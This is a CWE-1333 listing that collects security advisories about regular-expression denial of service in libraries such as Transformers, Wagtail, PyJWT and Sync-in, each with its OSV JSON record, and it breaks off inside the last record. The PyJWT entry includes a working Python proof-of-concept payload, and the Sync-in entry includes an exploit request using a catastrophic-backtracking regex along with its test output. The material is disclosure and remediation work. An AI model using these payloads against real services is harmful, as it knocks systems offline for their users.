CWE-1333
AllowedInefficient Regular Expression Complexity
Abstraction: Base · Status: Draft
The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.
886 vulnerabilities reference this CWE, most recent first.
GHSA-JJPH-296X-MRCR
Vulnerability from github – Published: 2025-07-07 12:30 – Updated: 2025-07-08 16:38A Regular Expression Denial of Service (ReDoS) vulnerability was discovered in the Hugging Face Transformers library, specifically in the get_imports() function within dynamic_module_utils.py. This vulnerability affects versions 4.49.0 and is fixed in version 4.51.0. The issue arises from a regular expression pattern \s*try\s*:.*?except.*?: used to filter out try/except blocks from Python code, which can be exploited to cause excessive CPU consumption through crafted input strings due to catastrophic backtracking. This vulnerability can lead to remote code loading disruption, resource exhaustion in model serving, supply chain attack vectors, and development pipeline disruption.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "transformers"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.51.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-3264"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-08T16:38:04Z",
"nvd_published_at": "2025-07-07T10:15:27Z",
"severity": "MODERATE"
},
"details": "A Regular Expression Denial of Service (ReDoS) vulnerability was discovered in the Hugging Face Transformers library, specifically in the `get_imports()` function within `dynamic_module_utils.py`. This vulnerability affects versions 4.49.0 and is fixed in version 4.51.0. The issue arises from a regular expression pattern `\\s*try\\s*:.*?except.*?:` used to filter out try/except blocks from Python code, which can be exploited to cause excessive CPU consumption through crafted input strings due to catastrophic backtracking. This vulnerability can lead to remote code loading disruption, resource exhaustion in model serving, supply chain attack vectors, and development pipeline disruption.",
"id": "GHSA-jjph-296x-mrcr",
"modified": "2025-07-08T16:38:04Z",
"published": "2025-07-07T12:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3264"
},
{
"type": "WEB",
"url": "https://github.com/huggingface/transformers/commit/0720e206c6ba28887e4d60ef60a6a089f6c1cc76"
},
{
"type": "WEB",
"url": "https://github.com/huggingface/transformers/commit/126abe3461762e5fc180e7e614391d1b4ab051ca"
},
{
"type": "PACKAGE",
"url": "https://github.com/huggingface/transformers"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/3c6f7822-9992-476d-8cf0-b0b1623427df"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Transformers vulnerable to ReDoS attack through its get_imports() function"
}
GHSA-JM96-7WVJ-J3R9
Vulnerability from github – Published: 2026-07-08 21:30 – Updated: 2026-09-30 18:32A flaw was found in guardrails-detectors, a component of Red Hat OpenShift AI. This vulnerability, known as Regular Expression Denial of Service (ReDoS), allows a remote attacker to provide specially crafted regular expressions to the public detection API. This can cause catastrophic backtracking, leading to a worker process consuming 100% CPU indefinitely and resulting in a denial of service for the entire guardrails-mediated LLM pipeline.
{
"affected": [],
"aliases": [
"CVE-2026-15154"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-08T20:16:48Z",
"severity": "MODERATE"
},
"details": "A flaw was found in `guardrails-detectors`, a component of Red Hat OpenShift AI. This vulnerability, known as Regular Expression Denial of Service (ReDoS), allows a remote attacker to provide specially crafted regular expressions to the public detection API. This can cause catastrophic backtracking, leading to a worker process consuming 100% CPU indefinitely and resulting in a denial of service for the entire guardrails-mediated LLM pipeline.",
"id": "GHSA-jm96-7wvj-j3r9",
"modified": "2026-09-30T18:32:36Z",
"published": "2026-07-08T21:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15154"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:53261"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:53262"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:53263"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:60520"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:65126"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:73987"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-15154"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2498188"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JMP3-39VP-FWG8
Vulnerability from github – Published: 2024-07-11 13:21 – Updated: 2026-06-09 13:05Impact
A bug in Wagtail's parse_query_string would result in it taking a long time to process suitably crafted inputs. When used to parse sufficiently long strings of characters without a space, parse_query_string would take an unexpectedly large amount of time to process, resulting in a denial of service.
In an initial Wagtail installation, the vulnerability can be exploited by any Wagtail admin user. It cannot be exploited by end users. If your Wagtail site has a custom search implementation which uses parse_query_string, it may be exploitable by other users (e.g. unauthenticated users).
Patches
Patched versions have been released as Wagtail 5.2.6, 6.0.6 and 6.1.3.
This vulnerability affects all unpatched versions from Wagtail 2.0 onwards.
Workarounds
Site owners who are unable to upgrade to a patched version can limit the length of search terms passed to parse_query_string. Whilst the performance characteristics will depend on your hosting environment, 1000 characters has been shown to still be fairly fast, without triggering this vulnerability.
No workaround is available for the Wagtail admin usage.
Acknowledgements
Many thanks to Jake Howard for reporting this issue.
For more information
If you have any questions or comments about this advisory:
- Visit Wagtail's support channels
- Email us at security@wagtail.org (view our security policy for more information).
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "wagtail"
},
"ranges": [
{
"events": [
{
"introduced": "6.0"
},
{
"fixed": "6.0.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "wagtail"
},
"ranges": [
{
"events": [
{
"introduced": "6.1"
},
{
"fixed": "6.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "wagtail"
},
"ranges": [
{
"events": [
{
"introduced": "2.0"
},
{
"fixed": "5.2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-39317"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-11T13:21:42Z",
"nvd_published_at": "2024-07-11T16:15:02Z",
"severity": "HIGH"
},
"details": "### Impact\n\nA bug in Wagtail\u0027s [`parse_query_string`](https://docs.wagtail.org/en/stable/topics/search/searching.html#wagtailsearch-query-string-parsing) would result in it taking a long time to process suitably crafted inputs. When used to parse sufficiently long strings of characters without a space, `parse_query_string` would take an unexpectedly large amount of time to process, resulting in a denial of service.\n\nIn an initial Wagtail installation, the vulnerability can be exploited by any Wagtail admin user. It cannot be exploited by end users. If your Wagtail site has a custom search implementation which uses `parse_query_string`, it may be exploitable by other users (e.g. unauthenticated users).\n\n### Patches\n\nPatched versions have been released as Wagtail 5.2.6, 6.0.6 and 6.1.3.\n\nThis vulnerability affects all unpatched versions from Wagtail 2.0 onwards.\n\n### Workarounds\n\nSite owners who are unable to upgrade to a patched version can limit the length of search terms passed to `parse_query_string`. Whilst the performance characteristics will depend on your hosting environment, 1000 characters has been shown to still be fairly fast, without triggering this vulnerability.\n\nNo workaround is available for the Wagtail admin usage.\n\n### Acknowledgements\n\nMany thanks to [Jake Howard](https://github.com/RealOrangeOne) for reporting this issue.\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Visit Wagtail\u0027s [support channels](https://docs.wagtail.io/en/stable/support.html)\n* Email us at [security@wagtail.org](mailto:security@wagtail.org) (view our [security policy](https://github.com/wagtail/wagtail/security/policy) for more information).",
"id": "GHSA-jmp3-39vp-fwg8",
"modified": "2026-06-09T13:05:34Z",
"published": "2024-07-11T13:21:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/wagtail/wagtail/security/advisories/GHSA-jmp3-39vp-fwg8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39317"
},
{
"type": "WEB",
"url": "https://github.com/wagtail/wagtail/commit/31b1e8532dfb1b70d8d37d22aff9cbde9109cdf2"
},
{
"type": "WEB",
"url": "https://github.com/wagtail/wagtail/commit/3c941136f79c48446e3858df46e5b668d7f83797"
},
{
"type": "WEB",
"url": "https://github.com/wagtail/wagtail/commit/b783c096b6d4fd2cfc05f9137a0be288850e99a2"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/wagtail/PYSEC-2024-86.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/wagtail/wagtail"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Wagtail regular expression denial-of-service via search query parsing"
}
GHSA-JQGV-3CH9-C9QV
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32A Regular Expression Denial of Service (ReDoS) vulnerability exists in the lunary-ai/lunary repository, specifically in the compileTextTemplate function. The affected version is git be54057. An attacker can exploit this vulnerability by manipulating the regular expression /{{(.*?)}}/g, causing the server to hang indefinitely and become unresponsive to any requests. This is due to the regular expression's susceptibility to second-degree polynomial time complexity, which can be triggered by a large number of braces in the input.
{
"affected": [],
"aliases": [
"CVE-2024-8763"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-20T10:15:43Z",
"severity": "HIGH"
},
"details": "A Regular Expression Denial of Service (ReDoS) vulnerability exists in the lunary-ai/lunary repository, specifically in the compileTextTemplate function. The affected version is git be54057. An attacker can exploit this vulnerability by manipulating the regular expression /{{(.*?)}}/g, causing the server to hang indefinitely and become unresponsive to any requests. This is due to the regular expression\u0027s susceptibility to second-degree polynomial time complexity, which can be triggered by a large number of braces in the input.",
"id": "GHSA-jqgv-3ch9-c9qv",
"modified": "2025-03-20T12:32:48Z",
"published": "2025-03-20T12:32:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8763"
},
{
"type": "WEB",
"url": "https://github.com/lunary-ai/lunary/commit/7ff89b0304d191534b924cf063f3648206d497fa"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/4fb63a6e-0056-4550-a34d-e161de1c13b8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JR9P-R423-9M2R
Vulnerability from github – Published: 2021-06-02 21:44 – Updated: 2024-09-30 20:15markdown2 >=1.0.1.18, fixed in 2.4.0, is affected by a regular expression denial of service vulnerability. If an attacker provides a malicious string, it can make markdown2 processing difficult or delayed for an extended period of time.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "markdown2"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.1.18"
},
{
"fixed": "2.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-26813"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-12T21:02:47Z",
"nvd_published_at": "2021-03-03T16:15:00Z",
"severity": "HIGH"
},
"details": "markdown2 \u003e=1.0.1.18, fixed in 2.4.0, is affected by a regular expression denial of service vulnerability. If an attacker provides a malicious string, it can make markdown2 processing difficult or delayed for an extended period of time.",
"id": "GHSA-jr9p-r423-9m2r",
"modified": "2024-09-30T20:15:06Z",
"published": "2021-06-02T21:44:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-26813"
},
{
"type": "WEB",
"url": "https://github.com/trentm/python-markdown2/pull/387"
},
{
"type": "WEB",
"url": "https://github.com/trentm/python-markdown2/commit/7b651260739647de5198323e0445b1618750c374"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-jr9p-r423-9m2r"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/markdown2/PYSEC-2021-20.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/trentm/python-markdown2"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BRP5RN35JZTSJ3JT4722F447ZDK7LZS5"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/J752422YELXLMLZJPVJVKD2KKHHQRVEH"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JTIX5UXRDJZJ57DO4V33ZNJTNKWGBQLY"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "markdown2 Regular Expression Denial of Service "
}
GHSA-JV4C-7JQQ-M34X
Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2024-04-22 23:14It was possible to execute a ReDoS-type attack inside CKEditor 4 before 4.16 by persuading a victim to paste crafted text into the Styles input of specific dialogs (in the Advanced Tab for Dialogs plugin).
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "ckeditor4-dev"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-26271"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-22T23:14:44Z",
"nvd_published_at": "2021-01-26T21:15:00Z",
"severity": "MODERATE"
},
"details": "It was possible to execute a ReDoS-type attack inside CKEditor 4 before 4.16 by persuading a victim to paste crafted text into the Styles input of specific dialogs (in the Advanced Tab for Dialogs plugin).",
"id": "GHSA-jv4c-7jqq-m34x",
"modified": "2024-04-22T23:14:44Z",
"published": "2022-05-24T17:40:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-26271"
},
{
"type": "PACKAGE",
"url": "https://github.com/ckeditor/ckeditor4"
},
{
"type": "WEB",
"url": "https://github.com/ckeditor/ckeditor4/blob/major/CHANGES.md#ckeditor-416"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20210128132707/https://ckeditor.com/blog/CKEditor-4.16-with-improved-image-pasting-High-Contrast-support-and-a-new-color-API/#security-comes-first"
},
{
"type": "WEB",
"url": "https://www.oracle.com//security-alerts/cpujul2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "CKEditor 4 ReDoS Vulnerability"
}
GHSA-JVXX-V45P-V5VF
Vulnerability from github – Published: 2022-06-23 06:45 – Updated: 2022-06-29 20:37Impact
Passing some special values to the filter and filterout parameters can cause an abnormally high CPU. Impact on the performance of the servers and RSSHub services.
Patches
It is fixed in 5c4177441417b44a6e45c3c63e9eac2504abeb5b , please update to this or the later versions as soon as possible.
References
Full report: https://github.com/DIYgod/RSSHub/issues/10045
For more information
If you have any questions or comments about this advisory: * Open an issue in https://github.com/DIYgod/RSSHub/issues * Email us at i@diygod.me
Credits
@Rongronggg9
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "rsshub"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-31110"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-23T06:45:03Z",
"nvd_published_at": "2022-06-29T18:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nPassing some special values to the `filter` and `filterout` parameters can cause an abnormally high CPU. Impact on the performance of the servers and RSSHub services.\n\n### Patches\n\nIt is fixed in 5c4177441417b44a6e45c3c63e9eac2504abeb5b , please update to this or the later versions as soon as possible.\n\n### References\n\nFull report: https://github.com/DIYgod/RSSHub/issues/10045\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in \u003chttps://github.com/DIYgod/RSSHub/issues\u003e\n* Email us at [i@diygod.me](mailto:i@diygod.me)\n\n### Credits\n\n@Rongronggg9 \n",
"id": "GHSA-jvxx-v45p-v5vf",
"modified": "2022-06-29T20:37:27Z",
"published": "2022-06-23T06:45:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/DIYgod/RSSHub/security/advisories/GHSA-jvxx-v45p-v5vf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31110"
},
{
"type": "WEB",
"url": "https://github.com/DIYgod/RSSHub/issues/10045"
},
{
"type": "WEB",
"url": "https://github.com/DIYgod/RSSHub/commit/4671720f4c5e1aaaad8fcc1dce684b6546baf2ff"
},
{
"type": "WEB",
"url": "https://github.com/DIYgod/RSSHub/commit/5c4177441417b44a6e45c3c63e9eac2504abeb5b"
},
{
"type": "PACKAGE",
"url": "https://github.com/DIYgod/RSSHub"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Denial of Service (DoS) vulnerability in RSSHub"
}
GHSA-JWRC-G2Q2-PQ5P
Vulnerability from github – Published: 2026-09-30 14:40 – Updated: 2026-09-30 14:40Summary
There is a Re-DoS vulnerability in the is_pem_format function which results in a intesive CPU usage if an attacker is been able to provide a custom certificate.
Details
The problem is that the lazy quantifier .+? will always first try to match as little as possible until it finds a ---- END. Normally this means the complexity of this should be O(N). However, by providing an input which consists only of ----BEGIN CERTIFICATE----- lines and no ---- END line, the regex algorithm will first try to match the first line and then, with the lazy quantifier, all the lines until the end O(N), which then fails since it is unable to find a ---- END line. It will then jump to the next line, resulting in N re-scans of the whole string, which means the complexity basically results in O(N²).
PoC
import time
import re
BEGIN_LINE = b"-----BEGIN CERTIFICATE-----\n"
_PEMS = {
b"CERTIFICATE",
b"TRUSTED CERTIFICATE",
b"PRIVATE KEY",
b"PUBLIC KEY",
b"ENCRYPTED PRIVATE KEY",
b"OPENSSH PRIVATE KEY",
b"DSA PRIVATE KEY",
b"RSA PRIVATE KEY",
b"RSA PUBLIC KEY",
b"EC PRIVATE KEY",
b"DH PARAMETERS",
b"NEW CERTIFICATE REQUEST",
b"CERTIFICATE REQUEST",
b"SSH2 PUBLIC KEY",
b"SSH2 ENCRYPTED PRIVATE KEY",
b"X509 CRL",
}
_PEM_RE = re.compile(
b"----[- ]BEGIN ("
+ b"|".join(_PEMS)
+ b""")[- ]----\r?
.+?\r?
----[- ]END \\1[- ]----\r?\n?""",
re.DOTALL,
)
def is_pem_format(key: bytes) -> bool:
return bool(_PEM_RE.search(key))
def make_payload(num_headers: int) -> bytes:
return BEGIN_LINE * num_headers
def measure(num_headers: int) -> float:
payload = make_payload(num_headers)
start = time.perf_counter()
is_pem_format(payload) # returns False, but burns CPU getting there
elapsed = time.perf_counter() - start
print(
f" headers={num_headers:>4} size={len(payload)//1024:>3} KB"
f" time={elapsed*1000:>7.1f} ms"
)
return elapsed
for n in (1000, 2000, 4000, 8000):
measure(n)
Impact
The attacker could use extensive resources, which could make the resource (e.g. a web server) unavailable.
Maintainer update (2026-09-10):
We reproduced the reported quadratic regex behavior on malformed PEM-like input: doubling repeated BEGIN lines produced approximately fourfold runtime growth, while equal-sized ordinary input remained negligible. The affected path is reached when an application passes attacker-controlled key or certificate bytes to PyJWT’s key preparation, and the impact is resource exhaustion. The fix is on master in commit 8b4e233a22206b34ec1186e912e75c0b2396ac07; it replaces the backtracking PEM regex with a bounded marker scan. Fresh Astra/max review accepted the fix and confirmed malformed, mixed-label, and valid-input controls. This is a distinct ReDoS finding from the later PEM-recognition report that shares the implementation commit. The fix has not yet shipped in a released PyJWT 2.x version, so this advisory is being moved to draft and remains unpublished pending release.
Maintainer update — 2026-09-11
The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.13.0"
},
"package": {
"ecosystem": "PyPI",
"name": "pyjwt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.14.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-102270"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-30T14:40:25Z",
"nvd_published_at": "2026-09-28T21:17:14Z",
"severity": "MODERATE"
},
"details": "### Summary\nThere is a Re-DoS vulnerability in the `is_pem_format` function which results in a intesive CPU usage if an attacker is been able to provide a custom certificate.\n\n\n### Details\nThe problem is that the lazy quantifier `.+?` will always first try to match as little as possible until it finds a `---- END`. Normally this means the complexity of this should be O(N). However, by providing an input which consists only of `----BEGIN CERTIFICATE-----` lines and no `---- END` line, the regex algorithm will first try to match the first line and then, with the lazy quantifier, all the lines until the end O(N), which then fails since it is unable to find a `---- END` line. It will then jump to the next line, resulting in N re-scans of the whole string, which means the complexity basically results in O(N\u00b2). \n\n\n### PoC\n```python\nimport time\nimport re\n\n\nBEGIN_LINE = b\"-----BEGIN CERTIFICATE-----\\n\"\n\n_PEMS = {\n b\"CERTIFICATE\",\n b\"TRUSTED CERTIFICATE\",\n b\"PRIVATE KEY\",\n b\"PUBLIC KEY\",\n b\"ENCRYPTED PRIVATE KEY\",\n b\"OPENSSH PRIVATE KEY\",\n b\"DSA PRIVATE KEY\",\n b\"RSA PRIVATE KEY\",\n b\"RSA PUBLIC KEY\",\n b\"EC PRIVATE KEY\",\n b\"DH PARAMETERS\",\n b\"NEW CERTIFICATE REQUEST\",\n b\"CERTIFICATE REQUEST\",\n b\"SSH2 PUBLIC KEY\",\n b\"SSH2 ENCRYPTED PRIVATE KEY\",\n b\"X509 CRL\",\n}\n\n_PEM_RE = re.compile(\n b\"----[- ]BEGIN (\"\n + b\"|\".join(_PEMS)\n + b\"\"\")[- ]----\\r?\n.+?\\r?\n----[- ]END \\\\1[- ]----\\r?\\n?\"\"\",\n re.DOTALL,\n)\n\n\ndef is_pem_format(key: bytes) -\u003e bool:\n return bool(_PEM_RE.search(key))\n\n\ndef make_payload(num_headers: int) -\u003e bytes:\n return BEGIN_LINE * num_headers\n\n\ndef measure(num_headers: int) -\u003e float:\n payload = make_payload(num_headers)\n start = time.perf_counter()\n is_pem_format(payload) # returns False, but burns CPU getting there\n elapsed = time.perf_counter() - start\n print(\n f\" headers={num_headers:\u003e4} size={len(payload)//1024:\u003e3} KB\"\n f\" time={elapsed*1000:\u003e7.1f} ms\"\n )\n return elapsed\n\n\nfor n in (1000, 2000, 4000, 8000):\n measure(n)\n```\n\n### Impact\nThe attacker could use extensive resources, which could make the resource (e.g. a web server) unavailable.\n\n\n### Maintainer update (2026-09-10): \nWe reproduced the reported quadratic regex behavior on malformed PEM-like input: doubling repeated BEGIN lines produced approximately fourfold runtime growth, while equal-sized ordinary input remained negligible. The affected path is reached when an application passes attacker-controlled key or certificate bytes to PyJWT\u2019s key preparation, and the impact is resource exhaustion. The fix is on master in commit 8b4e233a22206b34ec1186e912e75c0b2396ac07; it replaces the backtracking PEM regex with a bounded marker scan. Fresh Astra/max review accepted the fix and confirmed malformed, mixed-label, and valid-input controls. This is a distinct ReDoS finding from the later PEM-recognition report that shares the implementation commit. The fix has not yet shipped in a released PyJWT 2.x version, so this advisory is being moved to draft and remains unpublished pending release.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.",
"id": "GHSA-jwrc-g2q2-pq5p",
"modified": "2026-09-30T14:40:26Z",
"published": "2026-09-30T14:40:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jwrc-g2q2-pq5p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102270"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/commit/8b4e233a22206b34ec1186e912e75c0b2396ac07"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "PyJWT: ReDoS vulnerability when calling the `is_pem_format` function."
}
GHSA-JX63-H26R-8CPH
Vulnerability from github – Published: 2026-09-22 14:47 – Updated: 2026-09-22 14:47Affected component: Sync-in Server v2.3.0, POST /api/app/sync/operation/diff/:id, vulnerable implementation of pathFilters in backend/src/applications/sync/dtos/sync-operations.dto.ts.
Summary
In the vulnerable version, the sync diff endpoint accepted a user-controlled regex pattern through pathFilters and compiled it into a RegExp without complexity validation. The resulting regex was then executed synchronously against relative file paths during diff generation.
A catastrophic-backtracking pattern, such as ^(a+)+b, can block the affected Node.js event loop when evaluated against a worst-case path shape. In a single-process deployment, this can make the server unavailable to other users while the regex evaluation is running. Repeated malicious requests can sustain the denial of service.
Details
SyncDiffDto transformed user input directly into a RegExp without validating regex complexity:
// backend/src/applications/sync/dtos/sync-operations.dto.ts
@IsOptional()
@Transform(({ value }) => (typeof value === 'string' && value.length > 0 ? new RegExp(value, 'i') : null))
pathFilters?: RegExp = null
The compiled regex was then executed synchronously during sync diff traversal:
// backend/src/applications/sync/services/sync-manager.service.ts
if (ctx.syncDiff.pathFilters && ctx.syncDiff.pathFilters.test(filePath)) {
Because .test() is synchronous, a catastrophic-backtracking pattern can block the Node.js event loop for the duration of the regex evaluation.
The impact depends on the file paths being tested. For example, the pattern ^(a+)+b is most effective when the sync tree contains a relative path beginning with a long sequence of a characters and not followed by b.
PoC
Prerequisites: Valid non-guest account, a registered sync client, and a sync path containing at least one file or directory whose relative path triggers catastrophic backtracking for the supplied pattern.
For the payload ^(a+)+b, an effective test case is a path containing a long name made of repeated a characters.
Steps:
- Register a sync client:
POST /api/app/sync/registerwith credentials andclientId. - Authenticate:
POST /api/app/sync/auth/cookieto get a JWT withclientIdembedded. - Create or use a sync path targeting an application-managed directory containing files.
- Ensure the sync path contains a worst-case filename or directory name for the regex, for example a long sequence of
acharacters. - Send a diff request with the ReDoS pattern:
POST /api/app/sync/operation/diff/1
Content-Type: application/json
sync-in-csrf: <csrf-token>
Cookie: sync-in-access=<jwt>
{"secureDiff":false,"firstSync":true,"defaultFilters":[],"pathFilters":"^(a+)+b","snapshot":{}}
Evidence from live test on Sync-in Server v2.3.0, Node.js v24.16.0:
[+] Baseline (no pathFilters): 0.019s, 15 files
[*] Sending ReDoS pattern: ^(a+)+b
[!] TIMEOUT after 20.022s - ReDoS CONFIRMED
# Server state during ReDoS:
$ docker stats sync-in --no-stream
CONTAINER CPU % MEM USAGE
sync-in 398.82% 745.2MiB / 7.709GiB
# Other endpoints did not respond during the timeout window:
$ curl -m 5 http://target:8080/
(exit code 28 - connection timeout)
The container-level CPU spike indicates severe resource saturation while the endpoint was unresponsive. The request timeout demonstrates event-loop blocking during the observed window, but does not by itself prove permanent failure after the malicious request stops.
Impact
An authenticated user with desktop sync access can submit a malicious pathFilters regex that blocks the affected Node.js event loop during sync diff generation.
In a single-process deployment, this can prevent other HTTP requests, including health checks, from receiving responses while the regex evaluation is running. Repeated malicious requests can keep the service unavailable and may require administrative intervention.
Remediation
Validate pathFilters before using the resulting regex during diff traversal.
Recommended controls:
- Reject empty or non-string values.
- Enforce a maximum regex pattern length.
- Reject invalid regex syntax.
- Reject unsafe regex patterns using
safe-regex2or an equivalent safety checker. - Return a
BadRequestExceptionfor invalid or unsafe patterns.
Example remediation:
@IsOptional()
@Transform(({ value }) => {
if (typeof value !== 'string' || value.length === 0) return null
if (value.length > MAX_PATH_FILTER_PATTERN_LENGTH) {
throw new BadRequestException('Path filter pattern is too long')
}
let pathFilter: RegExp
try {
pathFilter = new RegExp(value, 'i')
} catch {
throw new BadRequestException('Invalid path filter pattern')
}
if (!isSafePattern(pathFilter)) {
throw new BadRequestException('Unsafe path filter pattern')
}
return pathFilter
})
pathFilters?: RegExp = null
Where isSafePattern uses safe-regex2 or equivalent to reject patterns likely to cause catastrophic backtracking, including nested quantifier patterns such as ^(a+)+b.
A regression test should assert that ^(a+)+b is rejected before the regex is used against file paths.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.3.0"
},
"package": {
"ecosystem": "npm",
"name": "@sync-in/server"
},
"ranges": [
